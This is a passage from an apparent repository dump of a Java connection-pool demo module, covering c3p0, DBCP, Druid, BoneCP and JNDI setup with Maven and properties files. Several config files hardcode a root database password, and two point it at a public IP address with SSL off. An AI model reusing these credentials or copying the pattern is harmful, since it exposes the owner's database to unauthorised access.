    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_datasource</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.mchange</groupId>\n\t\t\t<artifactId>c3p0</artifactId>\n\t\t\t<version>0.9.5.5</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-dbcp2</artifactId>\n\t\t\t<version>2.7.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.1.22</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.zaxxer</groupId>\n\t\t\t<artifactId>HikariCP</artifactId>\n\t\t\t<version>1.3.5</version>\n\t\t\t<scope>compile</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.7.30</version>\n\t\t\t<scope>compile</scope>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.jolbox/bonecp -->\n\t\t<dependency>\n\t\t\t<groupId>com.jolbox</groupId>\n\t\t\t<artifactId>bonecp</artifactId>\n\t\t\t<version>0.8.0.RELEASE</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.jolbox/bonecp-spring -->\n\t\t<dependency>\n\t\t\t<groupId>com.jolbox</groupId>\n\t\t\t<artifactId>bonecp-spring</artifactId>\n\t\t\t<version>0.8.0.RELEASE</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.jolbox/bonecp-provider -->\n\t\t<dependency>\n\t\t\t<groupId>com.jolbox</groupId>\n\t\t\t<artifactId>bonecp-provider</artifactId>\n\t\t\t<version>0.8.0-alpha1</version>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.35</version>\n            <scope>compile</scope>\n        </dependency>\n\t</dependencies>\n\t<build>\n\t\t<finalName>datasource</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/c3p0-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<c3p0-config>\n\t<named-config name=\"c3p0\">\n\t\t<property name=\"user\">root</property>\n\t\t<property name=\"password\">mysqladmin</property>\n\t\t<property name=\"driverClass\">com.mysql.jdbc.Driver</property>\n\t\t<property name=\"jdbcUrl\">jdbc:mysql://localhost:3306/test</property>\n\t\t<!-- — 以上的user是数据库的用户，password是数据库的密码，driverClass是mysql的数据库驱动，jdbcUrl是连接数据库的url -->\n\t\t<!--当连接池中的连接耗尽的时候c3p0一次同时获取的连接数 -->\n\t\t<property name=\"acquireIncrement\">5</property>\n\t\t<!--初始化时获取十个连接，取值应在minPoolSize与maxPoolSize之间 -->\n\t\t<property name=\"initialPoolSize\">10</property>\n\t\t<!--连接池中保留的最小连接数 -->\n\t\t<property name=\"minPoolSize\">10</property>\n\t\t<!--连接池中保留的最大连接数 -->\n\t\t<property name=\"maxPoolSize\">50</property>\n\t\t<!--JDBC的标准参数，用以控制数据源内加载的PreparedStatements数量。但由于预缓存的statements属于单个connection而不是整个连接池。所以设置这个参数需要考虑到多方面的因素。如果maxStatements与maxStatementsPerConnection均为0，则缓存被关闭。Default: \n\t\t\t0 -->\n\t\t<property name=\"maxStatements\">20</property>\n\t\t<!--maxStatementsPerConnection定义了连接池内单个连接所拥有的最大缓存statements数。Default: 0 -->\n\t\t<property name=\"maxStatementsPerConnection\">5</property>\n\t</named-config>\n</c3p0-config>"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/com/jun/plugin/datasource/DataSourceC3p0.java",
    "content": "package com.jun.plugin.datasource;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport javax.sql.DataSource;\nimport com.mchange.v2.c3p0.ComboPooledDataSource;\n \npublic class DataSourceC3p0 {\n       /**\n        * 释放连接\n        * @param connection\n        */\n       public static void releaseConnection(Connection connection){\n              try {\n                     if(connection != null ) {\n                            connection.close();\n                     }\n              }catch (Exception e) {\n                     e.printStackTrace();\n              }\n       }\n       private static DataSource dataSource = null;\n       static{\n              //dataSource资源只能初始化一次\n              dataSource= new ComboPooledDataSource(\"c3p0\");\n       }\n       /**\n        * 获取连接\n        * @return\n        * @throws SQLException\n        */\n       public static Connection getConnection() throws SQLException{\n              return dataSource.getConnection();\n       }\n\tpublic static DataSource getDataSource() {\n\t\treturn dataSource;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/com/jun/plugin/datasource/DataSourceDBCP.java",
    "content": "package com.jun.plugin.datasource;\nimport java.io.InputStream;\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.Properties;\n\nimport javax.sql.DataSource;\n\nimport org.apache.commons.dbcp2.BasicDataSource;\nimport org.apache.commons.dbcp2.BasicDataSourceFactory;\n//import org.apache.commons.dbcp.BasicDataSource;\n//import org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory;\n\n\n/**\n * 需要在类路径下准备数据库连接配置文件dbcp.properties\n */\npublic class DataSourceDBCP {\n\tprivate static final String configFile = \"dbcp.properties\";\n\tprivate static DataSource dataSource;\n\tstatic {\n\t\tProperties dbProperties = new Properties();\n\t\ttry {\n\t\t\tdbProperties.load(DataSourceDBCP.class.getClassLoader().getResourceAsStream(configFile));\n\t\t\tdataSource = BasicDataSourceFactory.createDataSource(dbProperties);\n\t\t\tConnection conn = getConn();\n\t\t\tDatabaseMetaData mdm = conn.getMetaData();\n\t\t\t System.err.println(\"Connected to \" + mdm.getDatabaseProductName() + \" \" +mdm.getDatabaseProductVersion());\n\t\t\tif (conn != null) {\n\t\t\t\tconn.close();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"初始化连接池失败：\" + e);\n\t\t}\n\t}\n\n\tprivate DataSourceDBCP() {\n\t}\n\n\t/**\n\t * 获取链接，用完后记得关闭\n\t * \n\t * @see {@link DBManager#closeConn(Connection)}\n\t * @return\n\t */\n\tpublic static final Connection getConn() {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = dataSource.getConnection();\n\t\t} catch (SQLException e) {\n\t\t\t// log.error(\"获取数据库连接失败：\" + e);\n\t\t}\n\t\treturn conn;\n\t}\n\tpublic static final DataSource getDataSource() {\n\t\treturn dataSource;\n\t}\n\n\t/**\n\t * 关闭连接\n\t * \n\t * @param conn\n\t *            需要关闭的连接\n\t */\n\tpublic static void closeConn(Connection conn) {\n\t\ttry {\n\t\t\tif (conn != null && !conn.isClosed()) {\n\t\t\t\tconn.setAutoCommit(true);\n\t\t\t\tconn.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\t// log.error(\"关闭数据库连接失败：\" + e);\n\t\t}\n\t}\n\t\n    \n    public static void closeAll(ResultSet rs,Statement stmt,Connection conn){\n        if(rs!=null){\n            try {\n                rs.close();\n            } catch (SQLException e) {\n                e.printStackTrace();\n            }\n        }\n        \n        if(stmt!=null){\n            try {\n                stmt.close();\n            } catch (SQLException e) {\n                e.printStackTrace();\n            }\n        }\n        \n        if(conn!=null){\n            try {\n                conn.close();//关闭\n            } catch (SQLException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tSystem.err.println(DataSourceDBCP.getConn());\n\t}\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\n\t/**\n\t * 通过配置文件创建连接\n\t */\n\tpublic void testpool11() throws Exception {\n\t\tBasicDataSource ds = new BasicDataSource();\n\t\t// 设置driver\n\t\tds.setDriverClassName(\"com.mysql.jdbc.Driver\");\n\t\t// 设置url\n\t\tds.setUrl(\"jdbc:mysql:///test?characterEncoding=UTf8\");\n\t\tds.setUsername(\"root\");\n\t\tds.setPassword(\"mysqladmin\");\n\t\tds.setMaxIdle(5);// 设置最多有几个连接\n\t\tds.setInitialSize(2);// 设置在开始时创建几个连接\n\t\t// ..................\n\t\tds.setDefaultAutoCommit(true);// 设置所有连接是否自动提交\n\t\tds.setMaxIdle(3000);// 设置每个连接最大的空闲时间\n\t\tConnection c1 = ds.getConnection();\n\t\tConnection c2 = ds.getConnection();\n\t\tConnection c3 = ds.getConnection();\n\t\tConnection c4 = ds.getConnection();\n\t\tConnection c5 = ds.getConnection();\n\t\tSystem.err.println(\"c1:\" + c1.hashCode() + \",\" + c1.getClass());// com.mysql.jdbc.Jdbc4Connection@11111,\n\t\tSystem.err.println(\"c2:\" + c2.hashCode());// cn.itcast.MyDataSource$MyConn@11111\n\t\tSystem.err.println(\"c3:\" + c3.hashCode());\n\t\tSystem.err.println(\"c4:\" + c4.hashCode());\n\t\tSystem.err.println(\"c5:\" + c5.hashCode());\n\t\tc2.close();\n\t\tConnection c6 = ds.getConnection();\n\t\tSystem.err.println(\"c6:\" + c6.hashCode());\n\t}\n\n\t@SuppressWarnings(\"static-access\")\n\t// @Test\n\tpublic void Test3() throws Exception {\n\t\tlong begin = System.currentTimeMillis();\n\t\tInputStream is = DataSourceDBCP.class.getClassLoader().getResourceAsStream(\"dbcp.properties\");\n\t\tProperties props = new Properties();\n\t\tprops.load(is);\n\t\tBasicDataSourceFactory factory = new BasicDataSourceFactory();\n\t\tDataSource ds = factory.createDataSource(props);\n\t\tfor (int i = 1; i <= 50000; i++) {\n\t\t\tConnection conn = ds.getConnection();\n\t\t\tif (conn != null) {\n\t\t\t\tSystem.out.println(i + \":ȡ������\");\n\t\t\t}\n\t\t\tconn.close();\n\t\t}\n\t\tlong end = System.currentTimeMillis();\n\t\tSystem.out.println(\"����\" + (end - begin) / 1000 + \"��\");\n\t}\n\n\t// @Test\n\tpublic void testpool1() throws Exception {\n\t\tBasicDataSource ds = new BasicDataSource();\n\t\t// 设置driver\n\t\tds.setDriverClassName(\"com.mysql.jdbc.Driver\");\n\t\t// 设置url\n\t\tds.setUrl(\"jdbc:mysql:///db909?characterEncoding=UTf8\");\n\t\tds.setPassword(\"1234\");\n\t\tds.setUsername(\"root\");\n\t\tds.setMaxIdle(5);// 设置最多有几个连接\n\t\tds.setInitialSize(2);// 设置在开始时创建几个连接\n\t\t// ..................\n\t\tds.setDefaultAutoCommit(true);// 设置所有连接是否自动提交\n\t\tds.setMaxIdle(3000);// 设置每个连接最大的空闲时间\n\n\t\tConnection c1 = ds.getConnection();\n\t\tConnection c2 = ds.getConnection();\n\t\tConnection c3 = ds.getConnection();\n\t\tConnection c4 = ds.getConnection();\n\t\tConnection c5 = ds.getConnection();\n\t\tSystem.err.println(\"c1:\" + c1.hashCode() + \",\" + c1.getClass());// com.mysql.jdbc.Jdbc4Connection@11111,\n\t\tSystem.err.println(\"c2:\" + c2.hashCode());// cn.itcast.MyDataSource$MyConn@11111\n\t\tSystem.err.println(\"c3:\" + c3.hashCode());\n\t\tSystem.err.println(\"c4:\" + c4.hashCode());\n\t\tSystem.err.println(\"c5:\" + c5.hashCode());\n\t\tc2.close();\n\t\tConnection c6 = ds.getConnection();\n\t\tSystem.err.println(\"c6:\" + c6.hashCode());\n\t}\n\n\t/**\n\t * 通过配置文件创建连接\n\t */\n//\t@Test\n\tpublic void testPool2() throws Exception {\n\t\tProperties p = new Properties();\n\t\tp.load(DataSourceDBCP.class.getResourceAsStream(\"jdbc.properties\"));\n\t\tDataSource ds = new BasicDataSourceFactory().createDataSource(p);\n\t\tConnection c1 = ds.getConnection();\n\t\tConnection c2 = ds.getConnection();\n\t\tConnection c3 = ds.getConnection();\n\n\t\tSystem.err.println(c1.hashCode() + \",\" + c1.getClass());\n\t\tSystem.err.println(\"c2:\" + c2.hashCode());\n\t\tSystem.err.println(\"c3:\" + c3.hashCode());\n\t\tc3.close();\n\t\tConnection c4 = ds.getConnection();\n\t\tSystem.err.println(\"c4:\" + c4.hashCode());\n\t}\n \n\t\n\t\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/com/jun/plugin/datasource/DataSourceDruid.java",
    "content": "package com.jun.plugin.datasource;\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.Properties;\n\nimport javax.sql.DataSource;\n\nimport org.apache.commons.dbcp2.BasicDataSourceFactory;\n\n//import org.apache.commons.dbcp.BasicDataSource;\n//import org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.pool.DruidDataSourceFactory;\n\n/**\n * 需要在类路径下准备数据库连接配置文件dbcp.properties\n */\npublic class DataSourceDruid {\n\tprivate static final String configFile = \"druid.properties\";\n\tprivate static DataSource dataSource;\n\tstatic {\n\t\tProperties dbProperties = new Properties();\n\t\ttry {\n\t\t\tdbProperties.load(DataSourceDruid.class.getClassLoader().getResourceAsStream(configFile));\n\t\t\tdataSource = BasicDataSourceFactory.createDataSource(dbProperties);\n\t\t\t\n\t\t\t\n\t\t\tdataSource = new DruidDataSource(); \n\t\t\tdataSource = DruidDataSourceFactory.createDataSource(dbProperties); \n//\t\t\tdataSource.setDriverClassName(\"com.mysql.jdbc.Driver\"); \n//\t\t\tdataSource.setUsername(\"root\"); \n//\t\t\tdataSource.setPassword(\"11111111\"); \n//\t\t\tdataSource.setUrl(\"jdbc:mysql://127.0.0.1:3306/jspdemo\"); \n//\t\t\tdataSource.setInitialSize(5); dataSource.setMinIdle(1); \n//\t\t\tdataSource.setMaxActive(10); \n\t\t\t// 启用监控统计功能  dataSource.setFilters(\"stat\");\n\t\t\t// for mysql  dataSource.setPoolPreparedStatements(false);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tConnection conn = getConn();\n\t\t\tDatabaseMetaData mdm = conn.getMetaData();\n\t\t\t System.err.println(\"Connected to \" + mdm.getDatabaseProductName() + \" \" +mdm.getDatabaseProductVersion());\n\t\t\tif (conn != null) {\n\t\t\t\tconn.close();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"初始化连接池失败：\" + e);\n\t\t}\n\t}\n\n\tprivate DataSourceDruid() {\n\t}\n\n\t/**\n\t * 获取链接，用完后记得关闭\n\t * \n\t * @see {@link DBManager#closeConn(Connection)}\n\t * @return\n\t */\n\tpublic static final Connection getConn() {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = dataSource.getConnection();\n\t\t} catch (SQLException e) {\n\t\t\t// log.error(\"获取数据库连接失败：\" + e);\n\t\t}\n\t\treturn conn;\n\t}\n\tpublic static final DataSource getDataSource() {\n\t\treturn dataSource;\n\t}\n\n\t/**\n\t * 关闭连接\n\t * \n\t * @param conn\n\t *            需要关闭的连接\n\t */\n\tpublic static void closeConn(Connection conn) {\n\t\ttry {\n\t\t\tif (conn != null && !conn.isClosed()) {\n\t\t\t\tconn.setAutoCommit(true);\n\t\t\t\tconn.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\t// log.error(\"关闭数据库连接失败：\" + e);\n\t\t}\n\t}\n\t\n    \n    public static void closeAll(ResultSet rs,Statement stmt,Connection conn){\n        if(rs!=null){\n            try {\n                rs.close();\n            } catch (SQLException e) {\n                e.printStackTrace();\n            }\n        }\n        \n        if(stmt!=null){\n            try {\n                stmt.close();\n            } catch (SQLException e) {\n                e.printStackTrace();\n            }\n        }\n        \n        if(conn!=null){\n            try {\n                conn.close();//关闭\n            } catch (SQLException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tSystem.err.println(DataSourceDruid.getConn());\n\t}\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\t//###############################################################################################################\n\n\t \n\n}"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/com/jun/plugin/datasource/DataSourceUtil.java",
    "content": "package com.jun.plugin.datasource;\n\nimport cn.hutool.core.collection.CollectionUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\n\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.sql.DataSource;\n\npublic class DataSourceUtil {\n\n\tpublic static void main(String[] args) {\n\t\tSystem.err.println(DataSourceUtil.getDataSource());\n\t}\n\t\n\tprivate static DataSource dataSource = null;\n\tprivate static Connection conn = null;\n\tstatic {\n\t\ttry {\n//\t\t\tdataSource = DataSourceC3p0.getDataSource();\n//\t\t\tdataSource = DataSourceDBCP.getDataSource();\n\t\t\tdataSource = DataSourceDruid.getDataSource();\n\t\t\tif (dataSource != null) {\n\t\t\t\tconn = dataSource.getConnection();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\tpublic static final DataSource getDataSource() {\n\t\treturn dataSource;\n\t}\n\n\t\n\tpublic static final Connection getConn() {\n\t\ttry {\n\t\t\tif (dataSource != null) {\n\t\t\t\tconn = dataSource.getConnection();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\t// log.error(\"获取数据库连接失败：\" + e);\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn conn;\n\t}\n\n\tpublic static void rollback() throws SQLException {\n\t\ttry {\n\t\t\tif (dataSource != null) {\n\t\t\t\tconn = dataSource.getConnection();\n\t\t\t\tif (conn != null) {\n\t\t\t\t\tconn.rollback();\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\t// log.error(\"获取数据库连接失败：\" + e);\n\t\t\te.printStackTrace();\n\t\t\tthrow e;\n\t\t}\n\t}\n\t \n\tpublic static void closeConn(Connection conn) {\n\t\ttry {\n\t\t\tif (conn != null && !conn.isClosed()) {\n\t\t\t\tconn.setAutoCommit(true);\n\t\t\t\tconn.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\t// log.error(\"关闭数据库连接失败：\" + e);\n\t\t}\n\t}\n\tpublic static void commit() throws SQLException {\n\t\ttry {\n\t\t\tif (conn == null)\n\t\t\t\treturn;\n\t\t\tif (conn.isClosed())\n\t\t\t\treturn;\n\t\t\tif (!(conn.isClosed() || conn.getAutoCommit()))\n\t\t\t\tconn.commit(); // 事务提交\n\t\t\tconn.close();// 释放connection，是将其放回到连接池.\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\n\n\n\n\n\n\n\n\t\n\t\n\t\n\tpublic static Connection getConnJNDI2(){\n\t\ttry{\n\t\t\tContext context = new InitialContext();\n\t\t\tContext tomcatContext = (Context) context.lookup(\"java:comp/env\");\n\t\t\tDataSource ds = (DataSource) tomcatContext.lookup(\"tomcatDS\");\n\t\t\tconn = ds.getConnection();\n\t\t}catch(Exception err){\n\t\t\terr.printStackTrace();\n\t\t}\n\t\treturn conn;\n\t}\n\t\tpublic static Connection getConnJNDI(){\n\t\t\ttry{\n\t\t\t\tInitialContext ctx = new InitialContext();\n\t\t\t\tDataSource ds = (DataSource)ctx.lookup(\"java:/comp/env/jdbc/testDs\");\n\t\t\t\tconn = ds.getConnection();\n\t\t\t}catch(Exception err){\n\t\t\t\terr.printStackTrace();\n\t\t\t}\n\t\t\treturn conn;\n\t\t}\n\n\n\t\t/*public static Connection getConn() {\n\t\t\treturn conn;\n\t\t}*/\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/com/jun/plugin/datasource/DruidPoolConnection.java",
    "content": "package com.jun.plugin.datasource;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.Properties;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.pool.DruidDataSourceFactory;\nimport com.alibaba.druid.pool.DruidPooledConnection;\n\n/**\n * \n * @author Administrator\n * \n */\npublic class DruidPoolConnection {\n\n\tprivate static DruidPoolConnection databasePool = null;\n\tprivate static DruidDataSource dds = null;\n\tstatic {\n\t\tProperties properties = loadPropertyFile(\"config.properties\");\n\t\ttry {\n\t\t\tdds = (DruidDataSource) DruidDataSourceFactory.createDataSource(properties);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tprivate DruidPoolConnection() {\n\t}\n\n\t/**\n\t * \n\t * @return\n\t */\n\tpublic static synchronized DruidPoolConnection getInstance() {\n\t\tif (null == databasePool) {\n\t\t\tdatabasePool = new DruidPoolConnection();\n\t\t}\n\t\treturn databasePool;\n\t}\n\n\tpublic DruidPooledConnection getConnection() throws SQLException {\n\t\treturn dds.getConnection();\n\t}\n\n\t/**\n\t * \n\t * @param fullFile\n\t * @return\n\t */\n\tprivate static Properties loadPropertyFile(String fullFile) {\n\t\tString webRootPath = null;\n\t\tif (null == fullFile || fullFile.equals(\"\"))\n\t\t\tthrow new IllegalArgumentException(\"Properties file path can not be null : \" + fullFile);\n\t\twebRootPath = DruidPoolConnection.class.getClassLoader().getResource(\"\").getPath();\n\t\tInputStream inputStream = null;\n\t\tProperties p = null;\n\t\ttry {\n\t\t\tinputStream = new FileInputStream(new File(webRootPath + File.separator + fullFile));\n\t\t\tp = new Properties();\n\t\t\tp.load(inputStream);\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow new IllegalArgumentException(\"Properties file not found: \" + fullFile);\n\t\t} catch (IOException e) {\n\t\t\tthrow new IllegalArgumentException(\"Properties file can not be loading: \" + fullFile);\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (inputStream != null)\n\t\t\t\t\tinputStream.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\treturn p;\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/dbcp.properties",
    "content": "#连接设置\ndriverClassName=com.mysql.jdbc.Driver\nurl=jdbc:mysql://localhost:3306/jun_base\nusername=root\npassword=mysqladmin\n\n#<!-- 初始化连接 -->\ninitialSize=10\n\n#最大连接数量\nmaxActive=50\n\n#<!-- 最大空闲连接 -->\nmaxIdle=20\n\n#<!-- 最小空闲连接 -->\nminIdle=5\n\n#<!-- 超时等待时间以毫秒为单位 60000毫秒/1000等于60秒 -->\nmaxWait=60000\n\n\n#JDBC驱动建立连接时附带的连接属性属性的格式必须为这样：[属性名=property;] \n#注意：\"user\" 与 \"password\" 两个属性会被明确地传递，因此这里不需要包含他们。\nconnectionProperties=useUnicode=true;characterEncoding=utf8\n\n#指定由连接池所创建的连接的自动提交（auto-commit）状态。\ndefaultAutoCommit=true\n\n#driver default 指定由连接池所创建的连接的只读（read-only）状态。\n#如果没有设置该值，则“setReadOnly”方法将不被调用。（某些驱动并不支持只读模式，如：Informix）\ndefaultReadOnly=\n\n#driver default 指定由连接池所创建的连接的事务级别（TransactionIsolation）。\n#可用值为下列之一：（详情可见javadoc。）NONE,READ_UNCOMMITTED, READ_COMMITTED, REPEATABLE_READ, SERIALIZABLE\ndefaultTransactionIsolation=REPEATABLE_READ\n\n#DBCP配置文件"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/druid.properties",
    "content": "####################################  druid datasource    ####################################\n#连接设置\ndriverClassName=com.mysql.jdbc.Driver\nurl=jdbc:mysql://localhost:3306/erp2\nusername=root\npassword=mysqladmin\n\n#<!-- 初始化连接 -->\ninitialSize=10\n\n#最大连接数量\nmaxActive=50\n\n#<!-- 最大空闲连接 -->\nmaxIdle=20\n\n#<!-- 最小空闲连接 -->\nminIdle=5\n\n#<!-- 超时等待时间以毫秒为单位 60000毫秒/1000等于60秒 -->\nmaxWait=60000\n\n\n#JDBC驱动建立连接时附带的连接属性属性的格式必须为这样：[属性名=property;] \n#注意：\"user\" 与 \"password\" 两个属性会被明确地传递，因此这里不需要包含他们。\nconnectionProperties=useUnicode=true;characterEncoding=utf8\n\n#指定由连接池所创建的连接的自动提交（auto-commit）状态。\ndefaultAutoCommit=true\n\n#driver default 指定由连接池所创建的连接的只读（read-only）状态。\n#如果没有设置该值，则“setReadOnly”方法将不被调用。（某些驱动并不支持只读模式，如：Informix）\ndefaultReadOnly=\n\n#driver default 指定由连接池所创建的连接的事务级别（TransactionIsolation）。\n#可用值为下列之一：（详情可见javadoc。）NONE,READ_UNCOMMITTED, READ_COMMITTED, REPEATABLE_READ, SERIALIZABLE\ndefaultTransactionIsolation=REPEATABLE_READ\n\n#DBCP配置文件\n####################################   druid datasource   #################################### "
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/jdbc.properties",
    "content": "driver=com.mysql.jdbc.Driver\nurl=jdbc:mysql://localhost:3306/test\nusername=root\npassword=mysqladmin"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/java/sqlite.properties",
    "content": "url:jdbc:sqlite:sample.db\ndriverClassName=org.sqlite.JDBC\nusername=root\npassword=\n     \nfilters=stat\n \nmaxActive=20\ninitialSize=1\nmaxWait=60000\nminIdle=1\n \ntimeBetweenEvictionRunsMillis=60000\nminEvictableIdleTimeMillis=300000\n \nvalidationQuery=SELECT 'x'\ntestWhileIdle=true\ntestOnBorrow=false\ntestOnReturn=false\n#poolPreparedStatements=true\nmaxPoolPreparedStatementPerConnectionSize=20\n"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/bonecp.properties",
    "content": "driverClass=com.mysql.jdbc.Driver\njdbcUrl=jdbc:mysql://49.235.86.47/test?useUnicode=true&characterEncoding=utf-8&useSSL=false\nusername=root\npassword=mysqladmin\npartitionCount=3\nsetIdleConnectionTestPeriodInMinutes=60\nacquireIncrement=2 \nmaxConnectionsPerPartition=15\nminConnectionsPerPartition=5\nidleConnectionTestPeriod=240"
  },
  {
    "path": "jun_java_plugins/jun_datasource/src/main/resources/c3p0-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<c3p0-config>\n\t<named-config name=\"c3p0\">\n\t\t<property name=\"user\">root</property>\n\t\t<property name=\"password\">mysqladmin</property>\n\t\t<property name=\"driverClass\">com.mysql.jdbc.Driver</property>\n\t\t<property name=\"jdbcUrl\">jdbc:mysql://49.235.86.47:3306/test</property>\n\t\t<!-- — 以上的user是数据库的用户，password是数据库的密码，driverClass是mysql的数据库驱动，jdbcUrl是连接数据库的url -->\n\t\t<!--当连接池中的连接耗尽的时候c3p0一次同时获取的连接数 -->\n\t\t<property name=\"acquireIncrement\">5</property>\n\t\t<!--初始化时获取十个连接，取值应在minPoolSize与maxPoolSize之间 -->\n\t\t<property name=\"initialPoolSize\">10</property>\n\t\t<!--连接池中保留的最小连接数 -->\n\t\t<property name=\"minPoolSize\">10</property>\n\t\t<!--连接池中保留的最大连接数 -->\n\t\t<property name=\"maxPoolSize\">50</property>\n\t\t<!--JDBC的标准参数，用以控制数据源内加载的PreparedStatements数量。但由于预缓存的statements属于单个connection而不是整个连接池。所以设置这个参数需要考虑到多方面的因素。如果maxStatements与maxStatementsPerConnection均为0，则缓存被关闭。Default: \n\t\t\t0 -->\n\t\t<property 